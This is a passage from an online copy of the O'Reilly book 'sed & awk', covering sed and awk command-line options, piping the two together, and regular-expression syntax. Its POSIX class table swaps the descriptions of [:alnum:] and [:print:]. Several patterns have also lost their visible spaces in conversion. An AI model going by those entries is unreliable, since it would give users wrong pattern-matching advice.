Unless you are redirecting the output of sed to another program, you will want to capture the output in a file. This is done by specifying one of the shell's I/O redirection symbols followed by the name of a file:

$ sed -f sedscr list > newlist

Do not redirect the output to the file you are editing or you will clobber it. (The ">" redirection operator truncates the file before the shell does anything else.) If you want the output file to replace the input file, you can do that as a separate step, using the mv command. But first make very sure your editing script has worked properly!

In Chapter 4, Writing sed Scripts, we will look at a shell script named runsed that automates the process of creating a temporary file and using mv to overwrite the original file.

2.3.2.2 Suppressing automatic display of input lines

The default operation of sed is to output every input line. The -n option suppresses the automatic output. When specifying this option, each instruction intended to produce output must contain a print command, p. Look at the following example.

$ sed -n -e 's/MA/Massachusetts/p' list
John Daggett, 341 King Road, Plymouth Massachusetts
Eric Adams, 20 Post Road, Sudbury Massachusetts
Sal Carpenter, 73 6th Street, Boston Massachusetts

Compare this output to the first example in this section. Here, only the lines that were affected by the command were printed.

2.3.2.3 Mixing options (POSIX)

You can build up a script by combining both the -e and -f options on the command line. The script is the combination of all the commands in the order given. This appears to be supported in UNIX versions of sed, but this feature is not clearly documented in the manpage. The POSIX standard explicitly mandates this behavior.

2.3.2.4 Summary of options

Table 2.1 summarizes the sed command-line options.

Table 2.1: Command-Line Options for sed
Option | Description
-e | Editing instruction follows.
-f | Filename of script follows.
-n | Suppress automatic output of input lines.

Previous: 2.2 Command-Line Syntax | sed & awk | Next: 2.4 Using awk
2.2 Command-Line Syntax | Book Index | 2.4 Using awk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.4 Using awk

sed & awk

sed & awkSearch this book
Previous: 2.3 Using sed Chapter 2
Understanding Basic Operations 		Next: 2.5 Using sed and awk Together

2.4 Using awk

Like sed, awk executes a set of instructions for each line of input. You can specify instructions on the command line or create a script file.

2.4.1 Running awk

For command lines, the syntax is:

awk 'instructions' files

Input is read a line at a time from one or more files or from standard input. The instructions must be enclosed in single quotes to protect them from the shell. (Instructions almost always contain curly braces and/or dollar signs, which are interpreted as special characters by the shell.) Multiple command lines can be entered in the same way as shown for sed: separating commands with semicolons or using the multiline input capability of the Bourne shell.

Awk programs are usually placed in a file where they can be tested and modified. The syntax for invoking awk with a script file is:

awk -f script files

The -f option works the same way as it does with sed.

While awk instructions have the same structure as sed, consisting of pattern and procedure sections, the procedures themselves are quite different. Here is where awk looks less like an editor and more like a programming language. There are statements and functions instead of one- or two-character command sequences. For instance, you use the print statement to print the value of an expression or to print the contents of the current input line.

Awk, in the usual case, interprets each input line as a record and each word on that line, delimited by spaces or tabs, as a field. (These defaults can be changed.) One or more consecutive spaces or tabs count as a single delimiter. Awk allows you to reference these fields, in either patterns or procedures. $0 represents the entire input line. $1, $2, ... refer to the individual fields on the input line. Awk splits the input record before the script is applied. Let's look at a few examples, using the sample input file list.

The first example contains a single instruction that prints the first field of each line in the input file.

$ awk '{ print $1 }' list
John
Alice
Orville
Terry
Eric
Hubert
Amy
Sal

"$1" refers to the value of the first field on each input line. Because there is no pattern specified, the print statement is applied to all lines. In the next example, a pattern "/MA/" is specified but there is no procedure. The default action is to print each line that matches the pattern.

$ awk '/MA/' list
John Daggett, 341 King Road, Plymouth MA
Eric Adams, 20 Post Road, Sudbury MA
Sal Carpenter, 73 6th Street, Boston MA

Three lines are printed. As mentioned in the first chapter, an awk program can be used more like a query language, extracting useful information from a file. We might say that the pattern placed a condition on the selection of records to be included in a report, namely that they must contain the string "MA". Now we can also specify what portion of a record to include in the report. The next example uses a print statement to limit the output to the first field of each record.

$ awk '/MA/ { print $1 }' list
John
Eric
Sal

It helps to understand the above instruction if we try to read it aloud: Print the first word of each line containing the string "MA". We can say "word" because by default awk separates the input into fields using either spaces or tabs as the field separator.

In the next example, we use the -F option to change the field separator to a comma. This allows us to retrieve any of three fields: the full name, the street address, or the city and state.

$ awk -F, '/MA/ { print $1 }' list
John Daggett
Eric Adams
Sal Carpenter

Do not confuse the -F option to change the field separator with the -f option to specify the name of a script file.

In the next example, we print each field on its own line. Multiple commands are separated by semicolons.

$ awk -F, '{ print $1; print $2; print $3 }' list
John Daggett
 341 King Road
 Plymouth MA
Alice Ford
 22 East Broadway
 Richmond VA
Orville Thomas
 11345 Oak Bridge Road
 Tulsa OK
Terry Kalkas
 402 Lans Road
 Beaver Falls PA
Eric Adams
 20 Post Road
 Sudbury MA
Hubert Sims
 328A Brook Road
 Roanoke VA
Amy Wilde
 334 Bayshore Pkwy
 Mountain View CA
Sal Carpenter
 73 6th Street
 Boston MA

Our examples using sed changed the content of incoming data. Our examples using awk rearrange the data. In the preceding awk example, note how the leading blank is now considered part of the second and third fields.

2.4.2 Error Messages

Each implementation of awk gives you different error messages when it encounters problems in your program. Thus, we won't quote a particular version's messages here; it'll be obvious when there's a problem. Messages can be caused by any of the following:

  • Not enclosing a procedure within braces ({})

  • Not surrounding the instructions within single quotes (`')

  • Not enclosing regular expressions within slashes (//)

2.4.3 Summary of Options

Table 2.2 summarizes the awk command-line options.

Table 2.2: Command-Line Options for awk
Option | Description
-f | Filename of script follows.
-F | Change field separator.
-v | var=value follows.

The -v option for specifying parameters on the command line is discussed in Chapter 7, Writing Scripts for awk.

Previous: 2.3 Using sed | sed & awk | Next: 2.5 Using sed and awk Together
2.3 Using sed | Book Index | 2.5 Using sed and awk Together
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.5 Using sed and awk Together

sed & awk

sed & awkSearch this book
Previous: 2.4 Using awk Chapter 2
Understanding Basic Operations 		Next: 3. Understanding Regular Expression Syntax

2.5 Using sed and awk Together

In UNIX, pipes can be used to pass the output from one program as input to the next program. Let's look at a few examples that combine sed and awk to produce a report. The sed script that replaced the postal abbreviation of a state with its full name is general enough that it might be used again as a script file named nameState:

$ cat nameState
s/ CA/, California/
s/ MA/, Massachusetts/
s/ OK/, Oklahoma/
s/ PA/, Pennsylvania/
s/ VA/, Virginia/

Of course, you'd want to handle all states, not just five, and if you were running it on documents other than mailing lists, you should make sure that it does not make unwanted replacements.

The output for this program, using the input file list, is the same as we have already seen. In the next example, the output produced by nameState is piped to an awk program that extracts the name of the state from each record.

$ sed -f nameState list | awk -F, '{ print $4 }'
 Massachusetts
 Virginia
 Oklahoma
 Pennsylvania
 Massachusetts
 Virginia
 California
 Massachusetts

The awk program is processing the output produced by the sed script. Remember that the sed script replaces the abbreviation with a comma and the full name of the state. In effect, it splits the third field containing the city and state into two fields. "$4" references the fourth field.

What we are doing here could be done completely in sed, but probably with more difficulty and less generality. Also, since awk allows you to replace the string you match, you could achieve this result entirely with an awk script.

While the result of this program is not very useful, it could be passed to sort | uniq -c, which would sort the states into an alphabetical list with a count of the number of occurrences of each state.

Now we are going to do something more interesting. We want to produce a report that sorts the names by state and lists the name of the state followed by the name of each person residing in that state. The following example shows the byState program.

#! /bin/sh
awk -F, '{
    print $4 ", " $0
    }' $* |
sort |
awk -F, '
$1 == LastState {
      print "\t" $2
}
$1 != LastState {
      LastState = $1
      print $1
}'

This shell script has three parts. The program invokes awk to produce input for the sort program and then invokes awk again to test the sorted input and determine if the name of the state in the current record is the same as in the previous record. Let's see the script in action:

$ sed -f nameState list | byState
 California
     Amy Wilde
 Massachusetts
     Eric Adams
     John Daggett
     Sal Carpenter
 Oklahoma
     Orville Thomas
 Pennsylvania
     Terry Kalkas
 Virginia
     Alice Ford
     Hubert Sims

The names are sorted by state. This is a typical example of using awk to generate a report from structured data.

To examine how the byState program works, let's look at each part separately. It's designed to read input from the nameState program and expects "$4" to be the name of the state. Look at the output produced by the first line of the program:

$ sed -f nameState list | awk -F, '{ print $4 ", " $0 }'
 Massachusetts, John Daggett, 341 King Road, Plymouth, Massachusetts
 Virginia, Alice Ford, 22 East Broadway, Richmond, Virginia
 Oklahoma, Orville Thomas, 11345 Oak Bridge Road, Tulsa, Oklahoma
 Pennsylvania, Terry Kalkas, 402 Lans Road, Beaver Falls, Pennsylvania
 Massachusetts, Eric Adams, 20 Post Road, Sudbury, Massachusetts
 Virginia, Hubert Sims, 328A Brook Road, Roanoke, Virginia
 California, Amy Wilde, 334 Bayshore Pkwy, Mountain View, California
 Massachusetts, Sal Carpenter, 73 6th Street, Boston, Massachusetts

The sort program, by default, sorts lines in alphabetical order, looking at characters from left to right. In order to sort records by state, and not names, we insert the state as a sort key at the beginning of the record. Now the sort program can do its work for us. (Notice that using the sort utility saves us from having to write sort routines inside awk.)

The second time awk is invoked we perform a programming task. The script looks at the first field of each record (the state) to determine if it is the same as in the previous record. If it is not the same, the name of the state is printed followed by the person's name. If it is the same, then only the person's name is printed.

$1 == LastState {
      print "\t" $2
}
$1 != LastState {
      LastState = $1
      print $1
      print "\t" $2
}'

There are a few significant things here, including assigning a variable, testing the first field of each input line to see if it contains a variable string, and printing a tab to align the output data. Note that we don't have to assign to a variable before using it (because awk variables are initialized to the empty string). This is a small script, but you'll see the same kind of routine used to compare index entries in a much larger indexing program in Chapter 12, Full-Featured Applications. However, for now, don't worry too much about understanding what each statement is doing. Our point here is to give you an overview of what sed and awk can do.

In this chapter, we have covered the basic operations of sed and awk. We have looked at important command-line options and introduced you to scripting. In the next chapter, we are going to look at regular expressions, something both programs use to match patterns in the input.

Previous: 2.4 Using awk | sed & awk | Next: 3. Understanding Regular Expression Syntax
2.4 Using awk | Book Index | 3. Understanding Regular Expression Syntax
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] Understanding Regular Expression Syntax

sed & awk

sed & awkSearch this book
Previous: 2.5 Using sed and awk Together Chapter 3 Next: 3.2 A Line-Up of Characters

3. Understanding Regular Expression Syntax

Contents:
That's an Expression
A Line-Up of Characters
I Never Metacharacter I Didn't Like

When a young child is struggling to understand the meaning of an idiomatic expression, such as "Someone let the cat out of the bag," you might help by explaining that it's an expression, and doesn't literally mean what it says.

An expression, even in computer terminology, is not something to be interpreted literally. It is something that needs to be evaluated. An expression describes a result.

In this chapter, we are going to look at regular expression syntax. A regular expression describes a pattern or a particular sequence of characters, although it does not necessarily specify a single exact sequence.

While regular expressions are a basic part of UNIX, not everyone has a complete understanding of the syntax. In fact, it can be quite confusing to look at an expression such as:

^      *.*

which uses metacharacters or special symbols to match a line with one or more leading spaces. (A square box, [image], is used to make spaces visible in our examples.)

If you use any UNIX text editor on a routine basis, you are probably somewhat familiar with regular expression syntax. grep, sed, and awk all use regular expressions. However, not all of the metacharacters used in regular expression syntax are available for all three programs. The basic set of metacharacters was introduced with the ed line editor, and made available in grep. Sed uses the same set of metacharacters. Later a program named egrep was introduced that offered an extended set of metacharacters. Awk uses essentially the same set of metacharacters as egrep.

To understand regular expression syntax, you have to learn the functions performed by various metacharacters. But you also have to see many examples of them working in various combinations. That is our approach in this chapter, to introduce each metacharacter and provide a lot of examples, that for the most part use grep, and its cousin, egrep, to demonstrate practical applications.

If you already understand regular expression syntax, feel free to skip this chapter. A complete listing of regular expression metacharacters can be found in Table 3.1, as well as in Appendix A, Quick Reference for sed, and Appendix B, Quick Reference for awk. For those who are interested, O'Reilly's Mastering Regular Expressions, by Jeffrey E. F. Friedl, provides exhaustive coverage of regular expression construction and use.

3.1 That's an Expression

You are probably familiar with the kinds of expressions that a calculator interprets. Look at the following arithmetic expression:

2 + 4

"Two plus four" consists of several constants or literal values and an operator. A calculator program must recognize, for instance, that "2" is a numeric constant and that the plus sign represents an operator, not to be interpreted as the "+" character.

An expression tells the computer how to produce a result. Although it is the result of "two plus four" that we really want, we don't simply tell the computer to return a six. We instruct the computer to evaluate the expression and return a value.

An expression can be more complicated than "2 + 4"; in fact, it might consist of multiple simple expressions, such as the following:

2 + 3 * 4

A calculator normally evaluates an expression from left to right. However, certain operators have precedence over others: that is, they will be performed first. Thus, the above expression will evaluate to 14 and not 20 because multiplication takes precedence over addition. Precedence can be overridden by placing the simple expression in parentheses. Thus, "(2 + 3) * 4" or "the sum of two plus three times four" will evaluate to 20. The parentheses are symbols that instruct the calculator to change the order in which the expression is evaluated.

A regular expression, by contrast, describes a pattern or sequence of characters. Concatenation is the basic operation implied in every regular expression. That is, a pattern matches adjacent characters. Look at the following regular expression:

ABE

Each literal character is a regular expression that matches only that single character. This expression describes an "A followed by a B then followed by an E" or simply "the string ABE". The term "string" means each character concatenated to the one preceding it. That a regular expression describes a sequence of characters can't be emphasized enough. (Novice users are inclined to think in higher-level units such as words, and not individual characters.) Regular expressions are case-sensitive; "A" does not match "a".[1]

[1] Some other programs that use regular expressions offer the option of having them be case-insensitive, but sed and awk do not.

Programs such as grep that accept regular expressions must first evaluate the syntax of the regular expression to produce a pattern. They then read the input line-by-line trying to match the pattern. An input line is a string, and to see if a string matches the pattern, a program compares the first character in the string to the first character of the pattern. If there is a match, it compares the second character in the string to the second character of the pattern. Whenever it fails to make a match, it goes back and tries again, beginning one character later in the string. Figure 3.1 illustrates this process, trying to match the pattern "abe" on an input line.

A regular expression is not limited to literal characters. There is, for instance, a metacharacter - the dot (.) - that can be used as a "wildcard" to match any single character. You can think of this wildcard as analogous to a blank tile in Scrabble where it means any letter. Thus, we can specify the regular expression "A.E" and it will match "ACE," "ABE", and "ALE". It will match any character in the position following "A".

The metacharacter *, the asterisk, is used to match zero or more occurrences of the preceding regular expression, which typically is a single character. You may be familiar with * as a shell metacharacter, where it means "zero or more characters." But that meaning is very different from * in a regular expression. By itself, the asterisk metacharacter does not match anything; it modifies what goes before it. The regular expression .* matches any number of characters, whereas in the shell, * has that meaning. (For instance, in the shell, ls * will list all the files in the current directory.) The regular expression "A.*E" matches any string that matches "A.E" but it will also match any number of characters between "A" and "E": "AIRPLANE," "A FINE," "AFFABLE," or "A LONG WAY HOME," for example. Note that "any number of characters" can even be zero!

If you understand the difference between "." and "*" in regular expressions, you already know about the two basic types of metacharacters: those that can be evaluated to a single character, and those that modify how preceding characters are evaluated.

It should also be apparent that by use of metacharacters you can expand or limit the possible matches. You have more control over what's matched and what's not.

Figure 3.1: Interpreting a regular expression

Previous: 2.5 Using sed and awk Together | sed & awk | Next: 3.2 A Line-Up of Characters
2.5 Using sed and awk Together | Book Index | 3.2 A Line-Up of Characters
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.2 A Line-Up of Characters

sed & awk

sed & awkSearch this book
Previous: 3.1 That's an Expression Chapter 3
Understanding Regular Expression Syntax 		Next: 3.3 I Never Metacharacter I Didn't Like

3.2 A Line-Up of Characters

We have seen two basic elements in an expression:

  1. A value expressed as a literal or a variable.

  2. An operator.

A regular expression is made up of these same elements. Any character, except the metacharacters in Table 3.1, is interpreted as a literal that matches only itself.

Table 3.1: Summary of Metacharacters
Special |
Characters | Usage
. | Matches any single character except newline. In awk, dot can match newline also.
* | Matches any number (including zero) of the single character (including a character specified by a regular expression) that immediately precedes it.
[...] | Matches any one of the class of characters enclosed between the brackets. A circumflex (^) as first character inside brackets reverses the match to all characters except newline and those listed in the class. In awk, newline will also match. A hyphen (-) is used to indicate a range of characters. The close bracket (]) as the first character in class is a member of the class. All other metacharacters lose their meaning when specified as members of a class.
^ | First character of regular expression, matches the beginning of the line. Matches the beginning of a string in awk, even if the string contains embedded newlines.
$ | As last character of regular expression, matches the end of the line. Matches the end of a string in awk, even if the string contains embedded newlines.
\{n,m\} | Matches a range of occurrences of the single character (including a character specified by a regular expression) that immediately precedes it. \{n\} will match exactly n occurrences, \{n,\} will match at least n occurrences, and \{n,m\} will match any number of occurrences between n and m. (sed and grep only, may not be in some very old versions.)
\ | Escapes the special character that follows.
Extended Metacharacters (egrep and awk)
Special |
Characters | Usage
+ | Matches one or more occurrences of the preceding regular expression.
? | Matches zero or one occurrences of the preceding regular expression.
| | Specifies that either the preceding or following regular expression can be matched (alternation).
() | Groups regular expressions.
{n,m} | Matches a range of occurrences of the single character (including a character specified by a regular expression) that immediately precedes it. {n} will match exactly n occurrences, {n,} will match at least n occurrences, and {n,m} will match any number of occurrences between n and m. (POSIX egrep and POSIX awk, not in traditional egrep or awk.)[2]

[2] Most awk implementations do not yet support this notation.

Metacharacters have a special meaning in regular expressions, much the same way as + and * have special meaning in arithmetic expressions. Several of the metacharacters (+ ? () |) are available only as part of the extended set used by programs such as egrep and awk. We will look at what each metacharacter does in upcoming sections, beginning with the backslash.

3.2.1 The Ubiquitous Backslash

The backslash (\) metacharacter transforms metacharacters into ordinary characters (and ordinary characters into metacharacters). It forces the literal interpretation of any metacharacter such that it will match itself. For instance, the dot (.) is a metacharacter that needs to be escaped with a backslash if you want to match a period. This regular expression matches a period followed by three spaces.

\.

The backslash is typically used to match troff requests or macros that begin with a dot.

\.nf

You can also use the backslash to escape the backslash. For instance, the font change request in troff is "\f". To search for lines containing this request, you'd use the following regular expression:

\\f

In addition, sed uses the backslash to cause a group of ordinary characters to be interpreted as metacharacters, as shown in Figure 3.2.

Figure 3.2: Escaped metacharacters in sed

The n in the "\n" construct represents a digit from 1 to 9; its use will be explained in Chapter 5, Basic sed Commands.

3.2.2 A Wildcard

The wildcard metacharacter, or dot (.), might be considered equivalent to a variable. A variable represents any value in an arithmetic expression. In a regular expression, a dot (.) is a wildcard that represents any character except the newline. (In awk, dot can even match an embedded newline character.)

Given that we are describing a sequence of characters, the wildcard metacharacter allows you to specify a position that any character can fill.

For instance, if we were searching a file containing a discussion of the Intel family of microprocessors, the following regular expression:

80.86

would match lines containing references to "80286," "80386," or "80486."[3] To match a decimal point or a period, you must escape the dot with a backslash.

[3] The Pentium family of microprocessors breaks our simple pattern-matching experiment, spoiling the fun. Not to mention the original 8086.

It is seldom useful to match just any character at the beginning or end of a pattern. Therefore, the wildcard character is usually preceded and followed by a literal character or other metacharacter. For example, the following regular expression might be written to search for references to chapters:

Chapter.

It searches for "the string `Chapter' followed by any character." In a search, this expression would turn up virtually the same matches as the fixed string pattern "Chapter". Look at the following example:

$ grep 'Chapter.' sample
you will find several examples in Chapter 9.
"Quote me 'Chapter and Verse'," she said.
Chapter Ten

Searching for the string "Chapter" as opposed to "Chapter." would have matched all of the same lines. However, there is one case that would be different - if "Chapter" appeared at the end of a line. The wildcard does not match the newline, so "Chapter." would not match that line, while the fixed-string pattern would match the line.

3.2.3 Writing Regular Expressions

For all practical purposes, you can rely on a program to produce the correct result. However, that doesn't mean the program always works correctly as far as you are concerned. Most of the time, you can bet that if a program does not produce the output that you expected, the real problem (putting aside input or syntax errors) is how you described what you wanted.

In other words, the place to look to correct the problem is the expression where you described the result you wanted. Either the expression is incomplete or it is improperly formulated. For instance, if a program evaluates this expression:

PAY = WEEKLY_SALARY * 52

and knows the values of these variables, it will calculate the correct result. But someone might object that the formula did not account for salespeople, who also receive a commission. To describe this instance, the expression would need to be reformulated as:

PAY = WEEKLY_SALARY * 52 + COMMISSION

You could say that whoever wrote the first expression did not fully understand the scope of the problem and thus did not describe it well. It is important to know just how detailed a description must be. If you ask someone to bring you a book, and there are multiple books in view, you need to describe more specifically the book that you want (or be content with an indeterminate selection process).

The same is true with regular expressions. A program such as grep is simple and easy to use. Understanding the elements of regular expressions is not so hard, either. Regular expressions allow you to write simple or complex descriptions of patterns. However, what makes writing regular expressions difficult (and interesting) is the complexity of the application: the variety of occurrences or contexts in which a pattern appears. This complexity is inherent in language itself, just as you can't always understand an expression by looking up each word in the dictionary.

The process of writing a regular expression involves three steps:

  1. Knowing what it is you want to match and how it might appear in the text.

  2. Writing a pattern to describe what you want to match.

  3. Testing the pattern to see what it matches.

This process is virtually the same kind of process that a programmer follows to develop a program. Step 1 might be considered the specification, which should reflect an understanding of the problem to be solved as well as how to solve it. Step 2 is analogous to the actual coding of the program, and Step 3 involves running the program and testing it against the specification. Steps 2 and 3 form a loop that is repeated until the program works satisfactorily.

Testing your description of what you want to match ensures that the description works as expected. It usually uncovers a few surprises. Carefully examining the results of a test, comparing the output against the input, will greatly improve your understanding of regular expressions. You might consider evaluating the results of a pattern matching-operation as follows:

Hits

The lines that I wanted to match.

Misses

The lines that I didn't want to match.

Omissions

The lines that I didn't match but wanted to match.

False alarms

The lines that I matched but didn't want to match.

Trying to perfect your description of a pattern is something that you work at from opposite ends: you try to eliminate the false alarms by limiting the possible matches and you try to capture the omissions by expanding the possible matches.

The difficulty is especially apparent when you must describe patterns using fixed strings. Each character you remove from the fixed-string pattern increases the number of possible matches. For instance, while searching for the string "what," you determine that you'd like to match "What" as well. The only fixed-string pattern that will match "What" and "what" is "hat," the longest string common to both. It is obvious, though, that searching for "hat" will produce unwanted matches. Each character you add to a fixed-string pattern decreases the number of possible matches. The string "them" will usually produce fewer matches than the string "the."

Using metacharacters in patterns provides greater flexibility in extending or narrowing the range of matches. Metacharacters, used in combination with literals or other metacharacters, can be used to expand the range of matches while still eliminating the matches that you do not want.

3.2.4 Character Classes

A character class is a refinement of the wildcard concept. Instead of matching any character at a specific position, we can list the characters to be matched. The square bracket metacharacters ([]) enclose the list of characters, any of which can occupy a single position.

Character classes are useful for dealing with uppercase and lowercase letters, for instance. If "what" might appear with either an initial capital letter or a lowercase letter, you can specify:

[Ww]hat

This regular expression can match "what" or "What." It will match any line that contains this four-character string, the first character of which is either "W" or "w." Therefore, it could match "Whatever" or "somewhat."

If a file contained structured heading macros, such as .H1, .H2, .H3, etc., you could extract any of these lines with the regular expression:

\.H[12345]

This pattern matches a three-character string, where the last character is any number from 1 to 5.

The same syntax is used by the UNIX shell. Thus, you can use character classes to specify filenames in UNIX commands. For example, to extract headings from a group of chapter files, you might enter:

$ grep '\.H[123]' ch0[12]
ch01:.H1 "Contents of Distribution Tape"
ch01:.H1 "Installing the Software"
ch01:.H1 "Configuring the System"
ch01:.H2 "Specifying Input Devices"
ch01:.H3 "Using the Touch Screen"
ch01:.H3 "Using the Mouse"
ch01:.H2 "Specifying Printers"
ch02:.H1 "Getting Started"
ch02:.H2 "A Quick Tour"
.
.
.

Note that you have to quote the pattern so that it is passed on to grep rather than interpreted by the shell. The output produced by grep identifies the name of the file for each line printed. As another example of a character class, assume you want to specify the different punctuation marks that end a sentence:

.[!?;:,".]      .

This expression matches "any character followed by an exclamation mark or question mark or semicolon or colon or comma or quotation mark or period and then followed by two spaces and any character." It could be used to find places where two spaces had been left between the end of a sentence and the beginning of the next sentence, when this occurs on one line. Notice that there are three dots in this expression. The first and last dots are wildcard metacharacters, but the second dot is interpreted literally. Inside square brackets, the standard metacharacters lose their meaning. Thus, the dot inside the square brackets indicates a period. Table 3.2 lists the characters that have a special meaning inside square brackets.

Table 3.2: Special Characters in Character Classes
Character | Function
\ | Escapes any special character (awk only)
- | Indicates a range when not in the first or last position.
^ | Indicates a reverse match only when in the first position.

The backslash is special only in awk, making it possible to write "[a\]1]" for a character class that will match an a, a right bracket, or a 1.

3.2.4.1 A range of characters

The hyphen character (-) allows you to specify a range of characters. For instance, the range of all uppercase English letters[4] can be specified as:

[4] This can actually be very messy when working in non-ASCII character sets and/or languages other than English. The POSIX standard addresses this issue; the new POSIX features are presented below.

[A-Z]

A range of single-digit numbers can be specified as:

[0-9]

This character class helps solve an earlier problem of matching chapter references. Look at the following regular expression:

[cC]hapter [1-9]

It matches the string "chapter" or "Chapter" followed by a space and then followed by any single-digit number from 1 to 9. Each of the following lines match the pattern:

you will find the information in chapter 9
and chapter 12.
Chapter 4 contains a summary at the end.

Depending upon the task, the second line in this example might be considered a false alarm. You might add a space following "[1-9]" to avoid matching two-digit numbers. You could also specify a class of characters not to be matched at that position, as we'll see in the next section. Multiple ranges can be specified as well as intermixed with literal characters:

[0-9a-z?,.;:'"]

This expression will match "any single character that is numeric, lowercase alphabetic, or a question mark, comma, period, semicolon, colon, single quote, or quotation mark." Remember that each character class matches a single character. If you specify multiple classes, you are describing multiple consecutive characters such as:

[a-zA-Z][.?!]

This expression will match "any lowercase or uppercase letter followed by either a period, a question mark, or an exclamation mark."

The close bracket (]) is interpreted as a member of the class if it occurs as the first character in the class (or as the first character after a circumflex; see the next section). The hyphen loses its special meaning within a class if it is the first or last character. Therefore, to match arithmetic operators, we put the hyphen (-) first in the following example:

[-+*/]

In awk, you could also use the backslash to escape the hyphen or close bracket wherever either one occurs in the range, but the syntax is messier.

Trying to match dates with a regular expression is an interesting problem. Here are two possible formats:

MM-DD-YY
MM/DD/YY

The following regular expression indicates the possible range of values for each character position:

[0-1][0-9][-/][0-3][0-9][-/][0-9][0-9]

Either "-" or "/" could be the delimiter. Putting the hyphen in the first position ensures that it will be interpreted in a character class literally, as a hyphen, and not as indicating a range.[5]

[5] Note that the expression matches dates that mix their delimiters, as well as impossible dates like "15/32/78."

3.2.4.2 Excluding a class of characters

Normally, a character class includes all the characters that you want to match at that position. The circumflex (^) as the first character in the class excludes all of the characters in the class from being matched. Instead any character except newline[6] that is not listed in the square brackets will be matched. The following pattern will match any non-numeric character:

[6] In awk, newline can also be matched.

[^0-9]

It matches all uppercase and lowercase letters of the alphabet and all special characters such as punctuation marks.

Excluding specific characters is sometimes more convenient than explicitly listing all the characters you want to match. For instance, if you wanted to match any consonant, you could simply exclude vowels:

[^aeiou]

This expression would match any consonant, any vowel in uppercase, and any punctuation mark or special character.

Look at the following regular expression:

\.DS "[^1]"

This expression matches the string ".DS" followed by a space, a quote followed by any character other than the number "1," followed by a quote.[7] It is designed to avoid matching the following line:

[7] When typing this pattern at the command line, be sure to enclose it in single quotes. The ^ is special to the original Bourne shell.

.DS "1"

while matching lines such as:

.DS "I"
.DS "2"

This syntax can also be used to limit the extent of a match, as we'll see up ahead.

3.2.4.3 POSIX character class additions

The POSIX standard formalizes the meaning of regular expression characters and operators. The standard defines two classes of regular expressions: Basic Regular Expressions (BREs), which are the kind used by grep and sed, and Extended Regular Expressions, which are the kind used by egrep and awk.

In order to accommodate non-English environments, the POSIX standard enhanced the ability of character classes to match characters not in the English alphabet. For example, the French è is an alphabetic character, but the typical character class [a-z] would not match it. Additionally, the standard provides for sequences of characters that should be treated as a single unit when matching and collating (sorting) string data.

POSIX also changed what had been common terminology. What we've been calling a "character class" is called a "bracket expression" in the POSIX standard. Within bracket expressions, beside literal characters such as a, !, and so on, you can have additional components. These are:

  • Character classes. A POSIX character class consists of keywords bracketed by [: and :]. The keywords describe different classes of characters such as alphabetic characters, control characters, and so on (see Table 3.3).

  • Collating symbols. A collating symbol is a multicharacter sequence that should be treated as a unit. It consists of the characters bracketed by [. and .].

  • Equivalence classes. An equivalence class lists a set of characters that should be considered equivalent, such as e and è. It consists of a named element from the locale, bracketed by [= and =].

All three of these constructs must appear inside the square brackets of a bracket expression. For example [[:alpha:]!] matches any single alphabetic character or the exclamation point, [[.ch.]] matches the collating element ch, but does not match just the letter c or the letter h. In a French locale, [[=e=]] might match any of e, è, or é. Classes and matching characters are shown in Table 3.3.

Table 3.3: POSIX Character Classes
Class | Matching Characters
[:alnum:] | Printable characters (includes whitespace)
[:alpha:] | Alphabetic characters
[:blank:] | Space and tab characters
[:cntrl:] | Control characters
[:digit:] | Numeric characters
[:graph:] | Printable and visible (non-space) characters
[:lower:] | Lowercase characters
[:print:] | Alphanumeric characters
[:punct:] | Punctuation characters
[:space:] | Whitespace characters
[:upper:] | Uppercase characters
[:xdigit:] | Hexadecimal digits

These features are slowly making their way into commercial versions of sed and awk, as vendors fully implement the POSIX standard. GNU awk and GNU sed support the character class notation, but not the other two bracket notations. Check your local system documentation to see if they are available to you.

Because these features are not widely available yet, the scripts in this book will not rely on them, and we will continue to use the term "character class" to refer to lists of characters in square brackets.

3.2.5 Repeated Occurrences of a Character

The asterisk (*) metacharacter indicates that the preceding regular expression may occur zero or more times. That is, if it modifies a single character, the character may be there or not, and if it is, there may be more than one of them. You could use the asterisk metacharacter to match a word that might appear in quotes.

   "*hypertext"*

The word "hypertext" will be matched regardless of whether it appears in quotes or not.

Also, if the literal character modified by the asterisk does exist, there could be more than one occurrence. For instance, let's examine a series of numbers:

1
5
10
50
100
500
1000
5000

The regular expression

[15]0*

would match all lines, whereas the regular expression

[15]00*

would match all but the first two lines. The first zero is a literal, but the second is modified by the asterisk, meaning it might or might not be present. A similar technique is used to match consecutive spaces because you usually want to match one or more, not zero or more, spaces. You can use the following to do that:

      *

When preceded by a dot metacharacter, the asterisk metacharacter matches any number of characters. It can be used to identify a span of characters between two fixed strings. If you wanted to match any string inside of quotation marks, you could specify:

".*"

This would match all characters between the first and last quotation marks on the line plus the quotation marks. The span matched by ".*" is always the longest possible. This may not seem important now but it will be once you learn about replacing the string that was matched.

As another example, a pair of angle brackets is a common notation for enclosing formatting instructions used in markup languages, such as SGML, HTML, and Ventura Publisher.

You could print all lines with these marks by specifying:

$ grep '<.*>' sample

When used to modify a character class, the asterisk can match any number of a character in that class. For instance, look at the following five-line sample file:

I can do it
I cannot do it
I can not do it
I can't do it
I cant do it

If we wanted to match each form of the negative statement, but not the positive statement, the following regular expression would do it:

can[   no']*t

The asterisk causes any of the characters in the class to be matched in any order and for any number of occurrences. Here it is:

$ grep "can[   no']*t" sample
I cannot do it
I can not do it
I can't do it
I cant do it

There are four hits and one miss, the positive statement. Notice that had the regular expression tried to match any number of characters between the string "can" and "t," as in the following example:

can.*t

it would have matched all lines.

The ability to match "zero or more" of something is known by the technical term "closure." The extended set of metacharacters used by egrep and awk provides several variations of closure that can be quite useful. The plus sign (+) matches one or more occurrences of the preceding regular expression. Our earlier example of matching one or more spaces can be simplified as such:

   +

The plus sign metacharacter can be thought of as "at least one" of the preceding character. In fact, it better corresponds to how many people think * works.

